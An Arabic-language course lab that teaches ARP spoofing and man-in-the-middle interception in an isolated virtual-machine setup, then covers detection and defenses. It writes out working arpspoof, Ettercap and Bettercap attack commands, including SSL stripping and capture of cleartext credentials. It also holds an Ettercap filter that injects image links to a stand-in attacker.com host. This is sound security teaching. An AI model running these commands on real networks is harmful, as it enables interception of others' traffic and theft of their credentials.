انتقل إلى المحتوى الرئيسي

المختبر 5.3: انتحال ARP وMan-in-the-Middle

الأهداف التعليمية​

في نهاية هذا المختبر، ستكون قادرًا على:

  • فهم بروتوكول ARP وثغراته
  • تنفيذ هجوم انتحال ARP بين جهازين
  • التمركز كـ Man-in-the-Middle على شبكة
  • اعتراض وتحليل حركة المرور الشبكية في الوقت الفعلي
  • التقاط بيانات اعتماد مرسلة بشكل واضح
  • اكتشاف هجوم انتحال ARP نشط
  • تنفيذ حماية ضد انتحال ARP
  • فهم أهمية التشفير

المدة المقدرة​

40 دقيقة

المتطلبات المسبقة​

  • 3 آلات افتراضية: المهاجم (Kali)، الضحية (Windows)، الموجه/البوابة (Windows أو Linux)
  • شبكة داخلية VirtualBox
  • تثبيت Wireshark
  • فهم نموذج OSI وTCP/IP
  • إكمال المختبرات 5.1 و5.2

السياق المهني​

تسمح هجمات Man-in-the-Middle (MitM) عبر انتحال ARP للمهاجم على نفس الشبكة المحلية بـ:

  • اعتراض جميع الاتصالات
  • سرقة بيانات الاعتماد (HTTP، FTP، Telnet)
  • تعديل حركة المرور أثناء العبور
  • إعادة التوجيه إلى مواقع ضارة
  • تنفيذ التصيد المستهدف

يستخدم في:

  • اختبارات الاختراق الداخلية
  • عروض الأمان
  • الهجمات على الشبكات العامة WiFi
  • التجسس الصناعي
  • سرقة الجلسات

تحذير أخلاقي وقانوني - حرج​

هذا المختبر يعلم هجومًا نشطًا على الشبكة

انتحال ARP هو هجوم يعترض اتصالات الآخرين.

مسموح به فقط:

  • على شبكتك المعزولة (آلات افتراضية)
  • على أنظمة اختبار تمتلكها
  • في إطار اختبارات مصرح بها بعقد مكتوب
  • بموافقة صريحة من جميع الأطراف

ممنوع تمامًا وغير قانوني:

  • على الشبكات العامة WiFi (المقاهي، المطارات، المكتبات)
  • على شبكة الشركة بدون إذن
  • لاعتراض اتصالات الآخرين
  • لسرقة بيانات الاعتماد أو التجسس

عواقب خطيرة للغاية:

  • اعتراض الاتصالات = جريمة خطيرة (قانون جنائي المادة 184)
  • مشابه للتنصت الإلكتروني
  • السجن حتى 5 سنوات
  • غرامات ضخمة
  • سجل جنائي دائم

إعداد إلزامي:

  • شبكة آلات افتراضية في وضع داخلي فقط
  • لا يوجد وصول إلى الإنترنت
  • بيئة معزولة تمامًا

الجزء 1: فهم ARP وثغراته​

الخطوة 1.1: بروتوكول ARP (بروتوكول حل العناوين)​

الدور: تحويل عنوان IP إلى عنوان MAC

مثال:

يريد الكمبيوتر التواصل مع 192.168.100.20
الكمبيوتر يعرف فقط IP، وليس عنوان MAC
الكمبيوتر يبث: "من لديه IP 192.168.100.20؟"
192.168.100.20 يجيب: "أنا! عنوان MAC الخاص بي هو AA:BB:CC:DD:EE:FF"
يمكن للكمبيوتر الآن إرسال حزم Ethernet

جدول ARP:

arp -a

النتيجة:

واجهة: 192.168.100.10
عنوان الإنترنت العنوان الفعلي النوع
192.168.100.1 00-11-22-33-44-55 ديناميكي
192.168.100.20 AA-BB-CC-DD-EE-FF ديناميكي

المشكلة: ARP ليس لديه أي مصادقة!

  • يمكن لأي شخص الرد
  • لا يوجد تحقق من الهوية
  • ثقة عمياء

الخطوة 1.2: ثغرة ARP​

هجوم انتحال ARP (تسميم ARP):

  1. المهاجم يرسل ردود ARP مزيفة
  2. الضحية تعتقد أن IP الموجه = MAC المهاجم
  3. الموجه يعتقد أن IP الضحية = MAC المهاجم
  4. كل حركة المرور تمر عبر المهاجم!

مخطط:

قبل:
الضحية (192.168.100.20) <---> الموجه (192.168.100.1)

بعد انتحال ARP:
الضحية (192.168.100.20) <---> المهاجم (192.168.100.10) <---> الموجه (192.168.100.1)
↑
Man-in-the-Middle!

أسئلة:

  1. لماذا ARP عرضة للخطر حسب التصميم؟
  2. على أي شبكة يعمل هذا الهجوم؟ (محلية/إنترنت)

الجزء 2: إعداد المختبر​

الخطوة 2.1: بنية المختبر​

3 آلات افتراضية مطلوبة:

VM1 - المهاجم (Kali Linux):
IP: 192.168.100.10
MAC: [لاحظها]
الدور: تنفيذ انتحال ARP

VM2 - الضحية (Windows):
IP: 192.168.100.20
MAC: [لاحظها]
الدور: هدف الهجوم

VM3 - البوابة/الموجه (Windows أو Linux):
IP: 192.168.100.1
MAC: [لاحظها]
الدور: بوابة الشبكة (محاكاة)

الشبكة: شبكة داخلية "MitmLab"

على كل آلة افتراضية، تحقق:

# Linux
ip addr
ip route

# Windows
ipconfig
route print

الخطوة 2.2: ملاحظة العناوين MAC​

على كل آلة افتراضية:

Linux:

ip addr show
# ابحث عن "link/ether"

Windows:

ipconfig /all
# ابحث عن "العنوان الفعلي"

لاحظ:

VM1 (المهاجم):  IP: 192.168.100.10  MAC: 08:00:27:XX:XX:XX
VM2 (الضحية): IP: 192.168.100.20 MAC: 08:00:27:YY:YY:YY
VM3 (البوابة): IP: 192.168.100.1 MAC: 08:00:27:ZZ:ZZ:ZZ

الخطوة 2.3: التحقق من الاتصال الأولي​

على VM2 (الضحية)، تحقق من جدول ARP:

arp -a

يجب أن ترى:

192.168.100.1   00-11-22-33-44-55  (MAC البوابة الحقيقية)
192.168.100.10 08-00-27-XX-XX-XX (MAC المهاجم)

قم بعمل ping للبوابة:

ping 192.168.100.1

يعمل بشكل طبيعي.

أسئلة: 3. ما هو عنوان MAC الحالي للبوابة في جدول ARP للضحية؟ 4. كم عدد الإدخالات ARP الموجودة؟


الجزء 3: هجوم انتحال ARP​

الخطوة 3.1: تفعيل توجيه IP​

على VM1 (المهاجم)، قبل بدء الهجوم:

Linux:

echo 1 > /proc/sys/net/ipv4/ip_forward

أو

sysctl -w net.ipv4.ip_forward=1

التحقق:

cat /proc/sys/net/ipv4/ip_forward

يجب أن يعرض: 1

مهم: بدون توجيه IP، يتم حظر حركة المرور (DoS بدلاً من MitM)!

الخطوة 3.2: بدء الهجوم باستخدام arpspoof​

arpspoof (أداة كلاسيكية):

الطرفية 1 - تسميم الضحية:

sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1

الأمر:

  • -i eth0 - واجهة الشبكة
  • -t 192.168.100.20 - الهدف (الضحية)
  • 192.168.100.1 - IP للتزوير (البوابة)

النتيجة:

8:0:27:xx:xx:xx 8:0:27:yy:yy:yy 0806 42: arp reply 192.168.100.1 is-at 8:0:27:xx:xx:xx

يكرر باستمرار: "البوابة (192.168.100.1) لديها عنوان MAC الخاص بي!"

الطرفية 2 - تسميم البوابة:

sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20

يخبر البوابة: "الضحية (192.168.100.20) لديها عنوان MAC الخاص بي!"

الآن: هجوم MitM نشط!

الخطوة 3.3: التحقق من الهجوم​

على VM2 (الضحية)، تحقق من جدول ARP:

arp -a

قبل الهجوم:

192.168.100.1   00-11-22-33-44-55  (MAC البوابة الحقيقية)

بعد الهجوم:

192.168.100.1   08-00-27-XX-XX-XX  (MAC المهاجم!)

تم تسميم جدول ARP!

الضحية تعتقد أن البوابة = المهاجم!

اختبر:

ping 192.168.100.1

الـ ping يعمل (بفضل توجيه IP)، لكنه يمر عبر المهاجم!

أسئلة: 5. هل تغير عنوان MAC للبوابة في جدول ARP للضحية؟ 6. هل تمر حركة المرور الآن عبر المهاجم؟


الجزء 4: اعتراض حركة المرور​

الخطوة 4.1: الالتقاط باستخدام Wireshark​

على VM1 (المهاجم)، شغل Wireshark:

sudo wireshark &
  1. اختر واجهة الشبكة (eth0)
  2. ابدأ الالتقاط
  3. كل حركة المرور للضحية يتم التقاطها!

على VM2 (الضحية)، قم بتوليد حركة مرور:

ping google.com

على Wireshark (VM1):

  • فلتر: icmp
  • ترى الـ pings من الضحية!

أنت تعترض حركة المرور من جهاز آخر!

الخطوة 4.2: التقاط بيانات اعتماد HTTP​

على VM2 (الضحية)، قم بزيارة موقع HTTP (غير HTTPS):

مواقع اختبار قانونية:

على VM1 (Wireshark)، فلتر:

http

ترى:

  • جميع الطلبات HTTP
  • رؤوس كاملة
  • User-Agent
  • Cookies
  • بيانات اعتماد واضحة إذا كان هناك تسجيل دخول!

متابعة HTTP Stream:

  1. انقر بزر الماوس الأيمن على حزمة HTTP
  2. Follow → HTTP Stream
  3. المحادثة الكاملة مرئية!

إذا كان موقع تسجيل دخول HTTP:

POST /login HTTP/1.1
Host: example.com

username=admin&password=SecretPassword123

تم التقاط كلمة المرور بشكل واضح!

الخطوة 4.3: الفرق بين HTTP وHTTPS​

على VM2، قم بزيارة الآن:

https://google.com

على Wireshark:

  • فلتر: tls أو ssl
  • ترى الاتصال المشفر
  • من المستحيل رؤية المحتوى!

بيانات مشفرة:

Content Type: Application Data
Encrypted Application Data: <بيانات غير مقروءة>

المقارنة:

  • HTTP: كل شيء مرئي (URL، الرؤوس، كلمات المرور، المحتوى)
  • HTTPS: فقط IP الوجهة مرئي، المحتوى مشفر

أسئلة: 7. هل نجحت في التقاط حركة مرور HTTP من الضحية؟ 8. هل يمكنك رؤية محتوى الطلبات HTTPS؟


الجزء 5: أدوات متقدمة لـ MitM​

الخطوة 5.1: Ettercap (كامل ورسومي)​

Ettercap: أداة MitM مع واجهة رسومية وميزات متقدمة

التشغيل:

sudo ettercap -G

الإعداد:

  1. Sniff → Unified sniffing
  2. اختر الواجهة (eth0)
  3. Hosts → Scan for hosts
  4. Hosts → Hosts list
  5. اختر الضحية → Add to Target 1
  6. اختر البوابة → Add to Target 2
  7. MitM → ARP poisoning
  8. حدد "Sniff remote connections"
  9. Start → Start sniffing

BOOM! هجوم MitM نشط مع واجهة رسومية!

الميزات:

  • اكتشاف تلقائي للمضيفين
  • انتحال ARP بنقرة واحدة
  • التقاط كلمات المرور تلقائيًا
  • فلاتر لتعديل حركة المرور
  • سجلات مفصلة

الخطوة 5.2: فلاتر Ettercap (تعديل حركة المرور)​

Ettercap يمكنه تعديل حركة المرور أثناء العبور!

مثال على فلتر: استبدال الصور بصور أخرى

أنشئ replace.filter:

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
}
}

if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://attacker.com/fake.jpg\" alt=\"");
}

التجميع:

etterfilter replace.filter -o replace.ef

الاستخدام في Ettercap:

Filters → Load a filter → replace.ef

النتيجة: جميع الصور على مواقع HTTP يتم استبدالها!

الخطوة 5.3: Bettercap (حديث)​

أداة حديثة وقوية:

sudo bettercap -iface eth0

أوامر تفاعلية:

# اكتشاف الشبكة
net.probe on
net.show

# انتحال ARP
set arp.spoof.targets 192.168.100.20
arp.spoof on

# التقاط بيانات الاعتماد
set net.sniff.verbose true
net.sniff on

# تجريد HTTP(S)
set http.proxy.sslstrip true
http.proxy on

واجهة الويب:

sudo bettercap -iface eth0 -caplet http-ui

الوصول: http://127.0.0.1:80 (واجهة ويب كاملة!)

أسئلة: 9. أي أداة تفضل (arpspoof، ettercap، bettercap)؟ 10. هل يمكن لـ Bettercap تخفيض HTTPS إلى HTTP؟


الجزء 6: اكتشاف انتحال ARP​

الخطوة 6.1: الاكتشاف اليدوي​

على جهاز، راقب جدول ARP:

PowerShell:

while ($true) {
Clear-Host
Write-Host "=== ARP TABLE MONITORING ===" -ForegroundColor Cyan
arp -a
Start-Sleep -Seconds 2
}

الملاحظة:

  • إذا تغير IP من MAC بشكل متكرر: مشبوه!
  • إذا كان هناك IPان لهما نفس MAC: انتحال ARP!

مثال على الشذوذ:

192.168.100.1   08-00-27-AA-AA-AA
192.168.100.10 08-00-27-AA-AA-AA <- نفس MAC = هجوم!

الخطوة 6.2: الاكتشاف باستخدام الأدوات​

arpwatch (Linux):

sudo apt install arpwatch
sudo arpwatch -i eth0

السجلات في: /var/log/arpwatch.log

تنبيه على:

  • مضيفون جدد
  • تغييرات MAC
  • Flip-flop (تغير MAC ثم العودة)

XArp (Windows):

  • أداة GUI لمراقبة ARP
  • تنبيهات في الوقت الحقيقي
  • مجاني

سكريبت PowerShell للاكتشاف:

$baseline = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$baseline[$matches[1]] = $matches[2]
}
}

while ($true) {
Start-Sleep -Seconds 5

$current = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$current[$matches[1]] = $matches[2]
}
}

# المقارنة
foreach ($ip in $baseline.Keys) {
if ($current[$ip] -and $current[$ip] -ne $baseline[$ip]) {
Write-Host "ALERT: IP $ip MAC changed!" -ForegroundColor Red
Write-Host " Was: $($baseline[$ip])"
Write-Host " Now: $($current[$ip])"
}
}

$baseline = $current.Clone()
}

الخطوة 6.3: اكتشاف الشبكة​

مع Nmap:

nmap --script=arp-scan 192.168.100.0/24

يكتشف:

  • تكرارات عناوين MAC
  • ردود ARP مشبوهة

أسئلة: 11. هل ينبه سكريبت الاكتشاف الخاص بك أثناء الهجوم؟ 12. كم من الوقت يستغرق لاكتشاف الهجوم؟


الجزء 7: الدفاعات ضد انتحال ARP​

الخطوة 7.1: ARP ثابت​

تحديد إدخالات ARP ثابتة (غير قابلة للتعديل):

arp -s 192.168.100.1 00-11-22-33-44-55

التحقق:

arp -a

النوع: static بدلاً من dynamic

الميزة: محصن ضد انتحال ARP!

العيب: إعداد يدوي، صيانة صعبة

الخطوة 7.2: أمان المنافذ (المحول)​

على محول مدار:

إعداد أمان المنافذ لـ:

  • تحديد عدد MACs لكل منفذ
  • ربط MAC بمنفذ محدد
  • إيقاف المنفذ إذا حدث انتهاك

مثال على إعداد Cisco:

interface FastEthernet0/1
switchport mode access
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown
switchport port-security mac-address sticky

النتيجة: MAC واحد فقط مسموح به لكل منفذ، التغيير = إيقاف!

الخطوة 7.3: الحلول البرمجية​

Windows:

  • XArp (مراقبة وتنبيهات)
  • ArpON (خدمة حماية)

Linux:

  • arpwatch (مراقبة)
  • ArpON (حماية نشطة)

جدار الحماية:

  • قواعد لحظر حركة المرور غير الطبيعية
  • فحص ARP

التقسيم:

  • VLANs لعزل المناطق الحساسة
  • تحديد نطاق الهجمات MitM

أسئلة: 13. ما هي الطريقة الأكثر فعالية للحماية؟ 14. هل من الواقعي إعداد ARP ثابت على شبكة كبيرة؟


الجزء 8: سيناريوهات حقيقية​

الخطوة 8.1: هجوم WiFi العام​

سيناريو نموذجي:

  1. مقهى مع WiFi عام
  2. المهاجم يتصل بنفس الشبكة
  3. يبدأ انتحال ARP
  4. يعترض كل حركة المرور للعملاء
  5. يلتقط بيانات الاعتماد، الكوكيز، البيانات

البيانات الملتقطة:

  • تسجيلات الدخول على مواقع HTTP
  • كوكيز الجلسة
  • رسائل البريد الإلكتروني (إذا كان POP3/IMAP غير مشفر)
  • بيانات اعتماد FTP
  • عمليات البحث على الويب

حماية المستخدم:

  • VPN على WiFi العام (إلزامي!)
  • فقط HTTPS
  • لا بنوك/بريد إلكتروني على WiFi العام

الخطوة 8.2: شبكة الشركة​

مهاجم داخلي أو عبر التصيد:

  1. اختراق أولي لجهاز
  2. انتحال ARP على الجزء الشبكي
  3. اعتراض حركة المرور
  4. التقاط بيانات اعتماد المجال
  5. حركة جانبية ببيانات الاعتماد المسروقة
  6. اختراق كامل للشبكة

الوقت: قد يستغرق بضع ساعات فقط!

الخطوة 8.3: هجوم مشترك​

انتحال ARP + انتحال DNS:

  1. MitM نشط عبر ARP
  2. تعديل ردود DNS
  3. إعادة التوجيه إلى مواقع مزيفة (تصيد)
  4. سرقة بيانات الاعتماد حتى على HTTPS (مع شهادة موقعة ذاتيًا + تحذير متجاهل)

مع Ettercap:

  • انتحال DNS مدمج
  • تعديل حركة المرور
  • تجريد SSL (تخفيض HTTPS → HTTP)

أسئلة: 15. لماذا تعتبر الشبكات العامة WiFi خطيرة بشكل خاص؟ 16. كيف يحمي VPN من انتحال ARP؟


التسليمات​

لتسليم:

  1. تقرير هجوم MitM (Word/PDF، 4-5 صفحات):

    • إجابات على 16 سؤال
    • وصف كامل لبنية المختبر
    • منهجية الهجوم خطوة بخطوة
    • تحليل حركة المرور الملتقطة
    • الوقت المطلوب للهجوم
  2. لقطات شاشة (الحد الأدنى 8):

    • جدول ARP قبل الهجوم (الضحية)
    • جدول ARP بعد الهجوم (الضحية المعدلة)
    • arpspoof في العمل (الطرفية)
    • Wireshark يلتقط حركة المرور من الضحية
    • HTTP stream مع بيانات اعتماد مرئية
    • HTTPS stream (مشفر)
    • واجهة Ettercap
    • سكريبت الاكتشاف ينبه
  3. ملفات الالتقاط:

    • Wireshark .pcapng مع حركة المرور الملتقطة
    • سجلات ettercap أو bettercap
  4. وثائق الدفاع (2 صفحات):

    • تدابير الاكتشاف الموصى بها
    • حلول الحماية حسب الطبقة (الشبكة، المضيف، التطبيق)
    • سياسة أمان WiFi

معايير التقييم​

المعيارالنقاط
هجوم انتحال ARP ناجح30%
اعتراض وتحليل حركة المرور25%
اكتشاف هجوم نشط20%
فهم الدفاعات15%
جودة الوثائق واللقطات10%

أوامر مرجعية سريعة​

التحضير​

echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1

انتحال ARP​

# arpspoof
sudo arpspoof -i eth0 -t VICTIME GATEWAY
sudo arpspoof -i eth0 -t GATEWAY VICTIME

# ettercap
sudo ettercap -T -M arp:remote /VICTIME// /GATEWAY//
sudo ettercap -G # GUI

# bettercap
sudo bettercap -iface eth0
> set arp.spoof.targets VICTIME
> arp.spoof on

الاكتشاف​

arp -a                    # تحقق من جدول ARP
arpwatch -i eth0          # مراقبة
nmap --script arp-scan NETWORK

التنظيف​

# إيقاف arpspoof: Ctrl+C
# على الضحية، تفريغ ذاكرة ARP:
arp -d # Windows
sudo ip -s -s neigh flush all # Linux

استكشاف الأخطاء وإصلاحها​

المشكلة: الضحية تفقد الاتصال أثناء الهجوم​

الحل: لم يتم تفعيل توجيه IP على المهاجم. تحقق:

cat /proc/sys/net/ipv4/ip_forward

يجب أن يكون 1.

المشكلة: لا يتم التقاط أي حركة مرور​

الحلول:

  • تحقق من أن كلا من arpspoof يعملان (الضحية والبوابة)
  • تحقق من أن Wireshark يستمع على الواجهة الصحيحة
  • قم بتوليد حركة مرور من الضحية

المشكلة: جدول ARP لا يتغير​

الحل:

  • هل يعمل arpspoof حقًا؟ تحقق من المخرجات
  • قد يقوم جدار الحماية بحظر ARP
  • بعض المحولات لديها حماية ARP (أمان المنافذ)

الخاتمة​

هذا المختبر علمك:

  • بروتوكول ARP وثغراته الأساسية
  • تنفيذ هجوم Man-in-the-Middle عبر انتحال ARP
  • اعتراض حركة المرور الشبكية في الوقت الفعلي
  • التقاط بيانات اعتماد مرسلة بشكل واضح
  • اكتشاف هجمات ARP النشطة
  • تدابير حماية متعددة الطبقات

الدروس الرئيسية:

  1. ARP ليس لديه أمان حسب التصميم (ثقة عمياء)
  2. المهاجم على الشبكة المحلية يمكنه اعتراض كل حركة المرور غير المشفرة
  3. HTTP معرض تمامًا لـ MitM
  4. HTTPS يحمي من الاعتراض (أهمية التشفير)
  5. WiFi العام = خطر شديد بدون VPN
  6. الاكتشاف ممكن لكن الحماية معقدة

الوعي:

  • لا تستخدم HTTP أبدًا للبيانات الحساسة
  • VPN إلزامي على WiFi العام
  • التشفير = الحماية الحقيقية الوحيدة
  • الشبكة المحلية ≠ شبكة آمنة

ملخص MODULE 5:

أنت الآن تتقن التعرف الكامل على الشبكة:

  • المختبر 5.1: Nmap (رسم خرائط الشبكة، اكتشاف الثغرات)
  • المختبر 5.2: تعداد DNS (اكتشاف البنية التحتية)
  • المختبر 5.3: انتحال ARP (اعتراض نشط)

مجتمعة، تتيح هذه التقنيات التعرف الكامل على الشبكة واختراقها!


تم تطوير المختبر في إطار دورة أنظمة التشغيل - MODULE 5